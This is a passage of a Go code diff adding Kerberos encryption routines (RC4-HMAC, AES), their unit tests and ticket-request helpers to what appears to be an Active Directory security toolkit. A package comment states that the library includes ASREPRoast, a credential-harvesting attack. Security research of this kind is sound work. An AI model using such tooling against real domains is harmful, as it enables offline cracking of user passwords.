NameString: []string{c.username}}, + CUSec: cusec, + CTime: now, + SeqNumber: seq_num, + } + + auth_bytes, err := auth.Marshal() + if err != nil { + return nil, fmt.Errorf("marshal Authenticator: %w", err) + } + + enc_auth, err := kerbcrypto.Encrypt(c.sessionEType, c.sessionKey, kerbcrypto.KeyUsageTGSReqPAAPReqAuthen, auth_bytes) + if err != nil { + return nil, fmt.Errorf("encrypt Authenticator: %w", err) + } + + ap_req := &messages.APReq{ + PVNO: messages.KerberosV5, + MsgType: messages.MsgTypeAPReq, + APOptions: asn1.BitString{Bytes: []byte{0x00, 0x00, 0x00, 0x00}, BitLength: 32}, + Ticket: c.tgtTicket, + Authenticator: messages.EncryptedData{ + EType: c.sessionEType, + Cipher: enc_auth, + }, + } + + return ap_req.Marshal() +} + +// kdcOptionsForwardable returns a KDCOptions BitString with the forwardable flag set. +// Bit positions follow RFC 4120 Section 5.4.1 (bit 0 = MSB). +func kdcOptionsForwardable() asn1.BitString { + // Forwardable = bit 1 (RFC 4120), renewable-ok = bit 27. + // Encoded as a 32-bit big-endian bit string: bit 1 → 0x40 in first byte. + return asn1.BitString{ + Bytes: []byte{0x40, 0x00, 0x00, 0x00}, + BitLength: 32, + } +} + +// parseSPN splits a service principal name into a PrincipalName. +// Accepts "service/host", "service/host@REALM" or bare "service". +func parseSPN(spn, default_realm string) (messages.PrincipalName, error) { + // Strip optional @REALM suffix. + at := strings.IndexByte(spn, '@') + if at >= 0 { + spn = spn[:at] + } + + slash := strings.IndexByte(spn, '/') + if slash < 0 { + return messages.PrincipalName{}, fmt.Errorf("expected format service/host, got %q", spn) + } + service := spn[:slash] + host := spn[slash+1:] + if service == "" || host == "" { + return messages.PrincipalName{}, fmt.Errorf("malformed SPN %q", spn) + } + return messages.PrincipalName{ + NameType: messages.NameTypeSRVInst, + NameString: []string{service, host}, + }, nil +} + +// randomNonce returns a random non-negative 31-bit nonce. +func randomNonce() int { + var buf [4]byte + if _, err := rand.Read(buf[:]); err != nil { + // Fall back to a fixed non-zero value if rand fails. + return 0x12345678 + } + return int(binary.BigEndian.Uint32(buf[:]) & 0x7fffffff) +} diff --git a/network/kerberos/crypto/aesctshmac.go b/network/kerberos/crypto/aesctshmac.go new file mode 100644 index 00000000..e620e380 --- /dev/null +++ b/network/kerberos/crypto/aesctshmac.go @@ -0,0 +1,163 @@ +package kerbcrypto + +import ( + "crypto/aes" + "crypto/hmac" + "crypto/sha1" + "encoding/binary" + + "github.com/TheManticoreProject/Manticore/crypto/aescts" + "github.com/TheManticoreProject/Manticore/crypto/nfold" + "golang.org/x/crypto/pbkdf2" +) + +// aesDefaultIterCount is the default PBKDF2 iteration count for AES string-to-key +// as specified in RFC 3962 Section 4. +const aesDefaultIterCount = 4096 + +// deriveKey implements the RFC 3961 DR (Derived Random) function and extracts +// a key of key_len bytes by repeatedly AES-encrypting the n-folded constant. +// +// DK(base_key, constant) = first key_len bytes of: +// +// AES-ECB(base_key, n-fold(constant, 128)) +// AES-ECB(base_key, previous_block) +// ... +func deriveKey(base_key []byte, constant []byte, key_len int) []byte { + // N-fold the constant to 128 bits (16 bytes) + nfolded := nfold.NFold(constant, 128) + + block_cipher, err := aes.NewCipher(base_key) + if err != nil { + // Key length error; caller should have validated + return nil + } + + result := make([]byte, 0, key_len) + // Use n as the running AES input, starting from the n-folded value + n := make([]byte, 16) + copy(n, nfolded) + for len(result) < key_len { + block_cipher.Encrypt(n, n) // AES-ECB: encrypt in place + result = append(result, n...) + } + return result[:key_len] +} + +// usageConstant builds the 5-byte usage constant used for AES key derivation. +// Format: 4-byte big-endian usage number || 1-byte purpose flag. +// Purpose flags: 0xAA = encryption, 0x55 = integrity, 0x99 = checksum. +func usageConstant(usage int, purpose byte) []byte { + b := make([]byte, 5) + binary.BigEndian.PutUint32(b, uint32(usage)) + b[4] = purpose + return b +} + +// aesStringToKey derives an AES key from a password and salt using PBKDF2, +// then applies the RFC 3961 random-to-key function. +// Per RFC 3962 Section 4. +func aesStringToKey(password, salt string, iter_count, key_len int) ([]byte, error) { + // PBKDF2-HMAC-SHA1 + tkey := pbkdf2.Key([]byte(password), []byte(salt), iter_count, key_len, sha1.New) + // Apply DK with the constant "kerberos" + dk := deriveKey(tkey, []byte("kerberos"), key_len) + return dk, nil +} + +// aesKeyLen returns the key length in bytes for an AES Kerberos etype. +// etype 17 = AES-128 (16 bytes), etype 18 = AES-256 (32 bytes). +func aesKeyLen(etype int) int { + if etype == 17 { + return 16 + } + return 32 +} + +// aesEncrypt encrypts plaintext using AES-CTS-HMAC-SHA1-96 per RFC 3962 + RFC 3961. +// +// Process: +// 1. Derive encryption key Ke = DK(key, usage||0xAA) +// 2. Derive integrity key Ki = DK(key, usage||0x55) +// 3. Generate 16-byte random confounder +// 4. plaintext_with_conf = confounder || plaintext +// 5. ciphertext = AES-CTS(Ke, zero_iv, plaintext_with_conf) +// 6. mac = HMAC-SHA1(Ki, plaintext_with_conf)[:12] +// 7. output = ciphertext || mac +func aesEncrypt(key []byte, etype, usage int, plaintext []byte) ([]byte, error) { + key_len := aesKeyLen(etype) + + // Derive encryption and integrity keys + ke := deriveKey(key, usageConstant(usage, 0xAA), key_len) + ki := deriveKey(key, usageConstant(usage, 0x55), key_len) + + // Generate 16-byte confounder + conf := make([]byte, 16) + if _, err := randRead(conf); err != nil { + return nil, err + } + + // plaintext_with_conf = confounder || plaintext + ptc := make([]byte, 16+len(plaintext)) + copy(ptc[:16], conf) + copy(ptc[16:], plaintext) + + // AES-CTS encrypt with zero IV + zero_iv := make([]byte, 16) + ciphertext, err := aescts.Encrypt(ke, zero_iv, ptc) + if err != nil { + return nil, err + } + + // HMAC-SHA1 integrity check, truncated to 12 bytes + mac_full := hmacSHA1(ki, ptc) + mac := mac_full[:12] + + // output = ciphertext || mac + result := make([]byte, len(ciphertext)+12) + copy(result[:len(ciphertext)], ciphertext) + copy(result[len(ciphertext):], mac) + return result, nil +} + +// aesDecrypt decrypts ciphertext using AES-CTS-HMAC-SHA1-96 per RFC 3962 + RFC 3961. +// +// Input format: AES-CTS-encrypted(confounder || plaintext) || mac (12 bytes) +func aesDecrypt(key []byte, etype, usage int, ciphertext []byte) ([]byte, error) { + if len(ciphertext) < 28 { // 16 confounder + 12 mac minimum + return nil, ErrCiphertextTooShort + } + + key_len := aesKeyLen(etype) + + // Derive encryption and integrity keys + ke := deriveKey(key, usageConstant(usage, 0xAA), key_len) + ki := deriveKey(key, usageConstant(usage, 0x55), key_len) + + // Split ciphertext and MAC + mac := ciphertext[len(ciphertext)-12:] + enc := ciphertext[:len(ciphertext)-12] + + // AES-CTS decrypt with zero IV + zero_iv := make([]byte, 16) + ptc, err := aescts.Decrypt(ke, zero_iv, enc) + if err != nil { + return nil, err + } + + // Verify integrity + expected_mac := hmacSHA1(ki, ptc)[:12] + if !hmac.Equal(mac, expected_mac) { + return nil, ErrIntegrityCheckFailed + } + + // Strip the 16-byte confounder + return ptc[16:], nil +} + +// hmacSHA1 computes HMAC-SHA1 of data using key. +func hmacSHA1(key, data []byte) []byte { + mac := hmac.New(sha1.New, key) + mac.Write(data) + return mac.Sum(nil) +} diff --git a/network/kerberos/crypto/crypto.go b/network/kerberos/crypto/crypto.go new file mode 100644 index 00000000..0ea4ac9f --- /dev/null +++ b/network/kerberos/crypto/crypto.go @@ -0,0 +1,126 @@ +// Package kerbcrypto provides Kerberos cryptographic operations including +// string-to-key derivation, encryption, and decryption for RC4-HMAC and +// AES-CTS-HMAC-SHA1-96 encryption types. +// +// Import path: github.com/TheManticoreProject/Manticore/network/kerberos/crypto +package kerbcrypto + +import ( + "crypto/rand" + "errors" + "fmt" + "io" + + "github.com/TheManticoreProject/Manticore/network/kerberos/messages" +) + +// Key usage constants per RFC 4120 Section 7.5.1. +const ( + // KeyUsageASReqPAEncTimestamp is the key usage for PA-ENC-TIMESTAMP. + KeyUsageASReqPAEncTimestamp = 1 + // KeyUsageKDCRepTicket is the key usage for KDC-REP ticket encryption. + KeyUsageKDCRepTicket = 2 + // KeyUsageASRepEncPart is the key usage for AS-REP encrypted part. + KeyUsageASRepEncPart = 3 + // KeyUsageTGSReqPAAPReqAuthen is the key usage for TGS-REQ AP-REQ authenticator. + KeyUsageTGSReqPAAPReqAuthen = 7 + // KeyUsageTGSRepEncSessionKey is the key usage for TGS-REP enc-part with session key. + KeyUsageTGSRepEncSessionKey = 8 + // KeyUsageTGSRepEncSubSessionKey is the key usage for TGS-REP enc-part with sub-session key. + KeyUsageTGSRepEncSubSessionKey = 9 + // KeyUsageAPReqAuthen is the key usage for AP-REQ authenticator. + KeyUsageAPReqAuthen = 11 +) + +// Sentinel errors for cryptographic operations. +var ( + // ErrCiphertextTooShort is returned when the ciphertext is too short to be valid. + ErrCiphertextTooShort = errors.New("kerbcrypto: ciphertext too short") + // ErrIntegrityCheckFailed is returned when the MAC verification fails. + ErrIntegrityCheckFailed = errors.New("kerbcrypto: integrity check failed") + // ErrUnsupportedEType is returned when an encryption type is not supported. + ErrUnsupportedEType = errors.New("kerbcrypto: unsupported encryption type") +) + +// randRead fills buf with cryptographically random bytes. +// It wraps crypto/rand.Read as a package-level variable for testability. +var randRead = func(buf []byte) (int, error) { + return io.ReadFull(rand.Reader, buf) +} + +// StringToKey derives an encryption key from a password and salt for the given etype. +// For RC4-HMAC (etype 23), the salt is ignored. +// For AES (etype 17/18), the salt is used with PBKDF2-HMAC-SHA1. +// The params argument carries S2KParams from PA-ETYPE-INFO2 (currently only iteration count +// for AES is supported; pass nil for defaults). +func StringToKey(etype int, password, salt string, params []byte) ([]byte, error) { + switch etype { + case messages.ETypeRC4HMAC: + // RC4-HMAC: key = NT hash of password; salt is not used + return rc4HMACStringToKey(password), nil + + case messages.ETypeAES128CTSHMACSHA196: + iter_count := aesDefaultIterCount + if len(params) >= 4 { + // S2KParams contains a 4-byte big-endian iteration count + iter_count = int(params[0])<<24 | int(params[1])<<16 | int(params[2])<<8 | int(params[3]) + if iter_count <= 0 { + iter_count = aesDefaultIterCount + } + } + return aesStringToKey(password, salt, iter_count, 16) + + case messages.ETypeAES256CTSHMACSHA196: + iter_count := aesDefaultIterCount + if len(params) >= 4 { + iter_count = int(params[0])<<24 | int(params[1])<<16 | int(params[2])<<8 | int(params[3]) + if iter_count <= 0 { + iter_count = aesDefaultIterCount + } + } + return aesStringToKey(password, salt, iter_count, 32) + + default: + return nil, fmt.Errorf("%w: %d", ErrUnsupportedEType, etype) + } +} + +// Encrypt encrypts plaintext with the given key, etype, and key usage number. +// Returns the ciphertext including confounder and MAC. +func Encrypt(etype int, key []byte, usage int, plaintext []byte) ([]byte, error) { + switch etype { + case messages.ETypeRC4HMAC: + return rc4HMACEncrypt(key, usage, plaintext) + case messages.ETypeAES128CTSHMACSHA196, messages.ETypeAES256CTSHMACSHA196: + return aesEncrypt(key, etype, usage, plaintext) + default: + return nil, fmt.Errorf("%w: %d", ErrUnsupportedEType, etype) + } +} + +// Decrypt decrypts ciphertext with the given key, etype, and key usage number. +// Returns the plaintext (confounder is stripped). +func Decrypt(etype int, key []byte, usage int, ciphertext []byte) ([]byte, error) { + switch etype { + case messages.ETypeRC4HMAC: + return rc4HMACDecrypt(key, usage, ciphertext) + case messages.ETypeAES128CTSHMACSHA196, messages.ETypeAES256CTSHMACSHA196: + return aesDecrypt(key, etype, usage, ciphertext) + default: + return nil, fmt.Errorf("%w: %d", ErrUnsupportedEType, etype) + } +} + +// KeyLen returns the key length in bytes for the given etype. +func KeyLen(etype int) int { + switch etype { + case messages.ETypeRC4HMAC: + return 16 + case messages.ETypeAES128CTSHMACSHA196: + return 16 + case messages.ETypeAES256CTSHMACSHA196: + return 32 + default: + return 0 + } +} diff --git a/network/kerberos/crypto/crypto_test.go b/network/kerberos/crypto/crypto_test.go new file mode 100644 index 00000000..253cfdfc --- /dev/null +++ b/network/kerberos/crypto/crypto_test.go @@ -0,0 +1,256 @@ +package kerbcrypto + +import ( + "bytes" + "encoding/hex" + "testing" + + "github.com/TheManticoreProject/Manticore/crypto/nt" + "github.com/TheManticoreProject/Manticore/network/kerberos/messages" +) + +// --------------------------------------------------------------------------- +// RC4-HMAC +// --------------------------------------------------------------------------- + +// TestStringToKeyRC4 verifies that StringToKey for RC4-HMAC returns the NT hash. +// +// Well-known vectors: +// NT hash of "password" = 8846f7eaee8fb117ad06bdd830b7586c +// NT hash of "Password" = a4f49c406510bdcab6824ee7c30fd852 +func TestStringToKeyRC4(t *testing.T) { + // Verify that StringToKey returns the same value as nt.NTHash for any password. + for _, password := range []string{"password", "Password", "abc123"} { + want := nt.NTHash(password) + got, err := StringToKey(messages.ETypeRC4HMAC, password, "", nil) + if err != nil { + t.Fatalf("StringToKey RC4(%q): unexpected error: %v", password, err) + } + if !bytes.Equal(got, want[:]) { + t.Errorf("StringToKey RC4(%q): got %x, want %x", password, got, want) + } + } + + // Cross-check against well-known NT hash value for "password" (lowercase). + const knownPassword = "password" + const knownHex = "8846f7eaee8fb117ad06bdd830b7586c" + got, _ := StringToKey(messages.ETypeRC4HMAC, knownPassword, "", nil) + knownBytes, _ := hex.DecodeString(knownHex) + if !bytes.Equal(got, knownBytes) { + t.Errorf("StringToKey RC4(%q): got %x, want known vector %s", knownPassword, got, knownHex) + } +} + +// TestRC4HMACRoundtrip verifies that encrypting then decrypting recovers the original plaintext. +func TestRC4HMACRoundtrip(t *testing.T) { + key, err := StringToKey(messages.ETypeRC4HMAC, "Password", "", nil) + if err != nil { + t.Fatalf("StringToKey: %v", err) + } + + tests := []struct { + name string + usage int + plaintext string + }{ + {"pa-enc-timestamp", KeyUsageASReqPAEncTimestamp, "hello kerberos"}, + {"as-rep-enc-part", KeyUsageASRepEncPart, "secret data 1234567890"}, + {"empty", KeyUsageTGSRepEncSessionKey, ""}, + {"long", KeyUsageAPReqAuthen, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + ciphertext, err := Encrypt(messages.ETypeRC4HMAC, key, tc.usage, []byte(tc.plaintext)) + if err != nil { + t.Fatalf("Encrypt: %v", err) + } + plaintext, err := Decrypt(messages.ETypeRC4HMAC, key, tc.usage, ciphertext) + if err != nil { + t.Fatalf("Decrypt: %v", err) + } + if !bytes.Equal(plaintext, []byte(tc.plaintext)) { + t.Errorf("roundtrip mismatch: got %q, want %q", plaintext, tc.plaintext) + } + }) + } +} + +// TestRC4HMACDecryptTamperedMAC verifies that a tampered MAC causes an integrity error. +func TestRC4HMACDecryptTamperedMAC(t *testing.T) { + key, _ := StringToKey(messages.ETypeRC4HMAC, "Password", "", nil) + ct, err := Encrypt(messages.ETypeRC4HMAC, key, KeyUsageASReqPAEncTimestamp, []byte("test")) + if err != nil { + t.Fatalf("Encrypt: %v", err) + } + // Flip a byte in the MAC + ct[0] ^= 0xFF + _, err = Decrypt(messages.ETypeRC4HMAC, key, KeyUsageASReqPAEncTimestamp, ct) + if err == nil { + t.Error("expected integrity error on tampered MAC, got nil") + } +} + +// TestRC4HMACDecryptTooShort verifies that a too-short ciphertext returns an error. +func TestRC4HMACDecryptTooShort(t *testing.T) { + key, _ := StringToKey(messages.ETypeRC4HMAC, "Password", "", nil) + _, err := Decrypt(messages.ETypeRC4HMAC, key, 1, []byte("tooshort")) + if err == nil { + t.Error("expected error for short ciphertext, got nil") + } +} + +// --------------------------------------------------------------------------- +// AES-128 and AES-256 +// --------------------------------------------------------------------------- + +// TestStringToKeyAES128KnownVector tests AES-128 key derivation against the +// RFC 3962 Appendix B test vector: +// password = "password" +// salt = "ATHENA.MIT.EDUraeburn" +// iter = 1 +// key = 42263c6e89f4fc28b8df68ee09799f15 +func TestStringToKeyAES128KnownVector(t *testing.T) { + // S2KParams encoding of iter_count=1 as 4-byte big-endian + params := []byte{0, 0, 0, 1} + got, err := StringToKey(messages.ETypeAES128CTSHMACSHA196, "password", "ATHENA.MIT.EDUraeburn", params) + if err != nil { + t.Fatalf("StringToKey AES-128: %v", err) + } + const want = "42263c6e89f4fc28b8df68ee09799f15" + if hex.EncodeToString(got) != want { + t.Errorf("AES-128 StringToKey: got %x, want %s", got, want) + } +} + +// TestStringToKeyAES256KnownVector tests AES-256 key derivation against the +// RFC 3962 Appendix B test vector: +// password = "password" +// salt = "ATHENA.MIT.EDUraeburn" +// iter = 1 +// key = fe697b52bc0d3ce14432ba036a92e65bbb52280990a2fa27883998d72af30161 +func TestStringToKeyAES256KnownVector(t *testing.T) { + params := []byte{0, 0, 0, 1} + got, err := StringToKey(messages.ETypeAES256CTSHMACSHA196, "password", "ATHENA.MIT.EDUraeburn", params) + if err != nil { + t.Fatalf("StringToKey AES-256: %v", err) + } + const want = "fe697b52bc0d3ce14432ba036a92e65bbb52280990a2fa27883998d72af30161" + if hex.EncodeToString(got) != want { + t.Errorf("AES-256 StringToKey: got %x, want %s", got, want) + } +} + +// TestAES128Roundtrip verifies encrypt/decrypt roundtrip for AES-128. +func TestAES128Roundtrip(t *testing.T) { + key, err := StringToKey(messages.ETypeAES128CTSHMACSHA196, "Password", "REALM.EXAMPLEuser", nil) + if err != nil { + t.Fatalf("StringToKey: %v", err) + } + aesRoundtrip(t, messages.ETypeAES128CTSHMACSHA196, key) +} + +// TestAES256Roundtrip verifies encrypt/decrypt roundtrip for AES-256. +func TestAES256Roundtrip(t *testing.T) { + key, err := StringToKey(messages.ETypeAES256CTSHMACSHA196, "Password", "REALM.EXAMPLEuser", nil) + if err != nil { + t.Fatalf("StringToKey: %v", err) + } + aesRoundtrip(t, messages.ETypeAES256CTSHMACSHA196, key) +} + +func aesRoundtrip(t *testing.T, etype int, key []byte) { + t.Helper() + tests := []struct { + name string + usage int + plaintext string + }{ + {"pa-enc-timestamp", KeyUsageASReqPAEncTimestamp, "hello kerberos AES"}, + {"as-rep-enc-part", KeyUsageASRepEncPart, "secret AES data 1234567890"}, + {"single-block", KeyUsageTGSRepEncSessionKey, "exactly16bytess!"}, + {"multi-block", KeyUsageAPReqAuthen, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}, + {"non-aligned", KeyUsageTGSRepEncSubSessionKey, "seventeen bytes!!"}, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + ciphertext, err := Encrypt(etype, key, tc.usage, []byte(tc.plaintext)) + if err != nil { + t.Fatalf("Encrypt: %v", err) + } + plaintext, err := Decrypt(etype, key, tc.usage, ciphertext) + if err != nil { + t.Fatalf("Decrypt: %v", err) + } + if !bytes.Equal(plaintext, []byte(tc.plaintext)) { + t.Errorf("roundtrip mismatch: got %q, want %q", plaintext, tc.plaintext) + } + }) + } +} + +// TestAES128DecryptTamperedMAC verifies that a tampered MAC returns an integrity error. +func TestAES128DecryptTamperedMAC(t *testing.T) { + key, _ := StringToKey(messages.ETypeAES128CTSHMACSHA196, "Password", "REALM.EXAMPLEuser", nil) + ct, err := Encrypt(messages.ETypeAES128CTSHMACSHA196, key, KeyUsageASReqPAEncTimestamp, []byte("test data here!")) + if err != nil { + t.Fatalf("Encrypt: %v", err) + } + // Flip the last byte of the MAC (last 12 bytes of output) + ct[len(ct)-1] ^= 0xFF + _, err = Decrypt(messages.ETypeAES128CTSHMACSHA196, key, KeyUsageASReqPAEncTimestamp, ct) + if err == nil { + t.Error("expected integrity error on tampered MAC, got nil") + } +} + +// TestAESDecryptTooShort verifies that too-short ciphertext returns an error. +func TestAESDecryptTooShort(t *testing.T) { + key, _ := StringToKey(messages.ETypeAES128CTSHMACSHA196, "Password", "REALM.EXAMPLEuser", nil) + _, err := Decrypt(messages.ETypeAES128CTSHMACSHA196, key, 1, []byte("tooshort")) + if err == nil { + t.Error("expected error for short ciphertext, got nil") + } +} + +// --------------------------------------------------------------------------- +// KeyLen +// --------------------------------------------------------------------------- + +func TestKeyLen(t *testing.T) { + tests := []struct { + etype int + want int + }{ + {messages.ETypeRC4HMAC, 16}, + {messages.ETypeAES128CTSHMACSHA196, 16}, + {messages.ETypeAES256CTSHMACSHA196, 32}, + {99, 0}, // unsupported + } + for _, tc := range tests { + got := KeyLen(tc.etype) + if got != tc.want { + t.Errorf("KeyLen(%d): got %d, want %d", tc.etype, got, tc.want) + } + } +} + +// --------------------------------------------------------------------------- +// Unsupported etype errors +// --------------------------------------------------------------------------- + +func TestUnsupportedEType(t *testing.T) { + _, err := StringToKey(99, "Password", "SALT", nil) + if err == nil { + t.Error("StringToKey: expected error for unsupported etype") + } + _, err = Encrypt(99, []byte{0}, 1, []byte("x")) + if err == nil { + t.Error("Encrypt: expected error for unsupported etype") + } + _, err = Decrypt(99, []byte{0}, 1, []byte("x")) + if err == nil { + t.Error("Decrypt: expected error for unsupported etype") + } +} diff --git a/network/kerberos/crypto/rc4hmac.go b/network/kerberos/crypto/rc4hmac.go new file mode 100644 index 00000000..0dae68c8 --- /dev/null +++ b/network/kerberos/crypto/rc4hmac.go @@ -0,0 +1,146 @@ +package kerbcrypto + +import ( + "crypto/hmac" + "crypto/md5" + "crypto/rc4" + "encoding/binary" + + "github.com/TheManticoreProject/Manticore/crypto/nt" +) + +// rc4HMACUsageMap translates RFC 4120 key usage numbers to the Microsoft +// message-type values used in RC4-HMAC key derivation, per RFC 4757 Section 4 +// and MS-KILE Section 3.1.5.7. +var rc4HMACUsageMap = map[int]uint32{ + 3: 8, // AS-REP enc-part + 9: 8, // TGS-REP enc-part (sub-session key) + 23: 13, // AD-KDC-ISSUED checksum +} + +// mapRC4HMACUsage converts an RFC 4120 key usage to the MS message-type value. +// Usages not in the map pass through unchanged. +func mapRC4HMACUsage(usage int) uint32 { + if mapped, ok := rc4HMACUsageMap[usage]; ok { + return mapped + } + return uint32(usage) +} + +// usageMsgType encodes a mapped usage as a 4-byte little-endian slice. +// binary.PutUvarint is used for consistency with MS/gokrb5 reference behaviour. +func usageMsgType(usage int) []byte { + mapped := mapRC4HMACUsage(usage) + tb := make([]byte, 4) + binary.PutUvarint(tb, uint64(mapped)) + return tb +} + +// rc4HMACStringToKey derives an RC4-HMAC key from a password. +// For RC4-HMAC, the key is simply the NT hash of the password (MD4 of UTF-16LE). +// RFC 4757 Section 7. +func rc4HMACStringToKey(password string) []byte { + h := nt.NTHash(password) + key := make([]byte, 16) + copy(key, h[:]) + return key +} + +// hmacMD5 computes HMAC-MD5 of the data using the given key. +func hmacMD5(key, data []byte) []byte { + mac := hmac.New(md5.New, key) + mac.Write(data) + return mac.Sum(nil) +} + +// rc4HMACEncrypt encrypts plaintext using RC4-HMAC (etype 23). +// Implements the algorithm from RFC 4757 Section 4 / MS-KILE: +// +// K1 = key (the base key) +// K2 = HMAC-MD5(K1, UsageMsgType(usage)) +// conf = 8 random bytes +// data = conf || plaintext +// chksum = HMAC-MD5(K2, data) +// K3 = HMAC-MD5(K2, chksum) +// ciphertext = RC4(K3, data) +// output = chksum(16) || ciphertext +func rc4HMACEncrypt(key []byte, usage int, plaintext []byte) ([]byte, error) { + k1 := key + k2 := hmacMD5(k1, usageMsgType(usage)) + + // Generate 8-byte confounder + conf := make([]byte, 8) + if _, err := randRead(conf); err != nil { + return nil, err + } + + // data = confounder || plaintext + data := make([]byte, 8+len(plaintext)) + copy(data[:8], conf) + copy(data[8:], plaintext) + + // chksum = HMAC-MD5(K2, data) + chksum := hmacMD5(k2, data) + + // K3 = HMAC-MD5(K2, chksum) + k3 := hmacMD5(k2, chksum) + + // Encrypt with RC4(K3, data) + cipher, err := rc4.NewCipher(k3) + if err != nil { + return nil, err + } + ciphertext := make([]byte, len(data)) + cipher.XORKeyStream(ciphertext, data) + + // output = chksum || ciphertext + result := make([]byte, 16+len(ciphertext)) + copy(result[:16], chksum) + copy(result[16:], ciphertext) + return result, nil +} + +// rc4HMACDecrypt decrypts ciphertext encrypted with RC4-HMAC (etype 23). +// +// Input format: chksum(16) || encrypted(confounder||plaintext) +// Decryption: +// +// K2 = HMAC-MD5(key, UsageMsgType(usage)) +// K3 = HMAC-MD5(K2, chksum) +// data = RC4(K3, ciphertext) +// verify: HMAC-MD5(K2, data) == chksum +// return data[8:] (skip 8-byte confounder) +func rc4HMACDecrypt(key []byte, usage int, ciphertext []byte) ([]byte, error) { + if len(ciphertext) < 24 { // 16 chksum + 8 confounder minimum + return nil, ErrCiphertextTooShort + } + + chksum := ciphertext[:16] + encrypted := ciphertext[16:] + + k1 := key + k2 := hmacMD5(k1, usageMsgType(usage)) + + // K3 = HMAC-MD5(K2, chksum) + k3 := hmacMD5(k2, chksum) + + // Decrypt with RC4(K3, encrypted) + cipher, err := rc4.NewCipher(k3) + if err != nil { + return nil, err + } + data := make([]byte, len(encrypted)) + cipher.XORKeyStream(data, encrypted) + + // Verify integrity: HMAC-MD5(K2, data) must equal chksum + expectedChksum := hmacMD5(k2, data) + if !hmac.Equal(chksum, expectedChksum) { + return nil, ErrIntegrityCheckFailed + } + + // Strip the 8-byte confounder + if len(data) < 8 { + return nil, ErrCiphertextTooShort + } + return data[8:], nil +} diff --git a/network/kerberos/kerberos.go b/network/kerberos/kerberos.go index 2b1ad4a5..273ef598 100644 --- a/network/kerberos/kerberos.go +++ b/network/kerberos/kerberos.go @@ -1,3 +1,6 @@ +// Package kerberos provides Kerberos authentication primitives for Active Directory. +// It includes a native client (KerberosClient), ASREPRoast, and a gokrb5-backed +// helper (KerberosInit) used for LDAP GSSAPI binds. package kerberos import ( @@ -8,49 +11,53 @@ import ( "github.com/jcmturner/gokrb5/v8/config" ) -// KerberosInit initializes the Kerberos configuration and service principal name for LDAP authentication. +// KerberosInit initialises a gokrb5 configuration and returns the LDAP service +// principal name for the given host and realm. +// +// It is used by the LDAP session layer to perform GSSAPI Kerberos binds via +// the gokrb5 library. The native KerberosClient does not depend on this function. // // Parameters: -// - fqdnLDAPHost: A string representing the fully qualified domain name of the LDAP server. -// - fqndRealm: A string representing the fully qualified domain name of the realm. +// - fqdnLDAPHost: Fully qualified domain name (or IP) of the KDC / LDAP server. +// - fqndRealm: Kerberos realm (will be uppercased automatically). // -// Returns: -// - A string representing the service principal name for LDAP authentication. -// - A pointer to the Kerberos configuration. +// Returns the service principal name ("ldap/") and a ready-to-use +// *config.Config. func KerberosInit(fqdnLDAPHost, fqndRealm string) (string, *config.Config) { servicePrincipalName := fmt.Sprintf("ldap/%s", fqdnLDAPHost) + // Realm must always be upper-cased; a mismatch causes: + // "CRealm in response does not match what was requested" fqndRealm = strings.ToUpper(fqndRealm) - // This is always in uppercase, if not we get the error: - // error performing GSSAPI bind: [Root cause: KRBMessage_Handling_Error] - // | KRBMessage_Handling_Error: AS Exchange Error: AS_REP is not valid or client password/keytab incorrect - // | | KRBMessage_Handling_Error: CRealm in response does not match what was requested. - // | | | Requested: lab.local; - // | | | Reply: lab.local - // | 2024/10/08 15:36:16 error querying AD: LDAP Result Code 1 "Operations Error": 000004DC: LdapErr: DSID-0C090A5C, - // | comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563 krb5Conf := config.New() - // LibDefaults + + // [libdefaults] krb5Conf.LibDefaults.AllowWeakCrypto = false krb5Conf.LibDefaults.DefaultRealm = fqndRealm krb5Conf.LibDefaults.DNSLookupRealm = false krb5Conf.LibDefaults.DNSLookupKDC = false - krb5Conf.LibDefaults.TicketLifetime = time.Duration(24) * time.Hour - krb5Conf.LibDefaults.RenewLifetime = time.Duration(24*7) * time.Hour + krb5Conf.LibDefaults.TicketLifetime = 24 * time.Hour + krb5Conf.LibDefaults.RenewLifetime = 24 * 7 * time.Hour krb5Conf.LibDefaults.Forwardable = true krb5Conf.LibDefaults.Proxiable = true krb5Conf.LibDefaults.RDNS = false - krb5Conf.LibDefaults.UDPPreferenceLimit = 1 // Force use of tcp - krb5Conf.LibDefaults.DefaultTGSEnctypes = []string{"aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "arcfour-hmac-md5"} - krb5Conf.LibDefaults.DefaultTktEnctypes = []string{"aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "arcfour-hmac-md5"} - krb5Conf.LibDefaults.PermittedEnctypes = []string{"aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "arcfour-hmac-md5"} + krb5Conf.LibDefaults.UDPPreferenceLimit = 1 // Force TCP + krb5Conf.LibDefaults.DefaultTGSEnctypes = []string{ + "aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "arcfour-hmac-md5", + } + krb5Conf.LibDefaults.DefaultTktEnctypes = []string{ + "aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "arcfour-hmac-md5", + } + krb5Conf.LibDefaults.PermittedEnctypes = []string{ + "aes256-cts-hmac-sha1-96", "aes128-cts-hmac-sha1-96", "arcfour-hmac-md5", + } krb5Conf.LibDefaults.PermittedEnctypeIDs = []int32{18, 17, 23} krb5Conf.LibDefaults.DefaultTGSEnctypeIDs = []int32{18, 17, 23} krb5Conf.LibDefaults.DefaultTktEnctypeIDs = []int32{18, 17, 23} krb5Conf.LibDefaults.PreferredPreauthTypes = []int{18, 17, 23} - // Realms + // [realms] krb5Conf.Realms = append(krb5Conf.Realms, config.Realm{ Realm: fqndRealm, AdminServer: []string{fqdnLDAPHost}, @@ -60,7 +67,7 @@ func KerberosInit(fqdnLDAPHost, fqndRealm string) (string, *config.Config) { MasterKDC: []string{fqdnLDAPHost}, }) - // Domain Realm + // [domain_realm] krb5Conf.DomainRealm[strings.ToLower(fqndRealm)] = fqndRealm krb5Conf.DomainRealm[fmt.Sprintf(".%s", strings.ToLower(fqndRealm))] = fqndRealm diff --git a/network/kerberos/kerberos_test.go b/network/kerberos/kerberos_test.go deleted file mode 